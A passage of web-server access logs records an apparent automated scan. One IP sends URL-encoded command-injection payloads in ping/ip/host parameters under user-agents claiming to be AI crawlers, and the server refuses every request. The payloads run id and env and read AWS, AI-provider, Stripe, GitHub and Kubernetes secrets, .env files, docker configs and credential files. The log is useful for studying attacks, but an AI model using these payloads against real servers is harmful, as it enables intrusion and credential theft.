3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17546 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 18 **0/18726**
34.140.123.172 - - [04/Aug/2026:17:49:58 -0700] "GET /?ping=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10894 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 6 **0/6417**
34.140.123.172 - - [04/Aug/2026:17:49:58 -0700] "GET /?ip=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10892 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 14 **0/14447**
34.140.123.172 - - [04/Aug/2026:17:49:59 -0700] "GET /api/ping?host=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10902 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 6 **0/6425**
34.140.123.172 - - [04/Aug/2026:17:50:01 -0700] "GET /?ping=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17546 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 71 **0/71004**
34.140.123.172 - - [04/Aug/2026:17:50:01 -0700] "GET /api/ping?host=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17554 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 48 **0/48129**
34.140.123.172 - - [04/Aug/2026:17:50:01 -0700] "GET /?ip=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_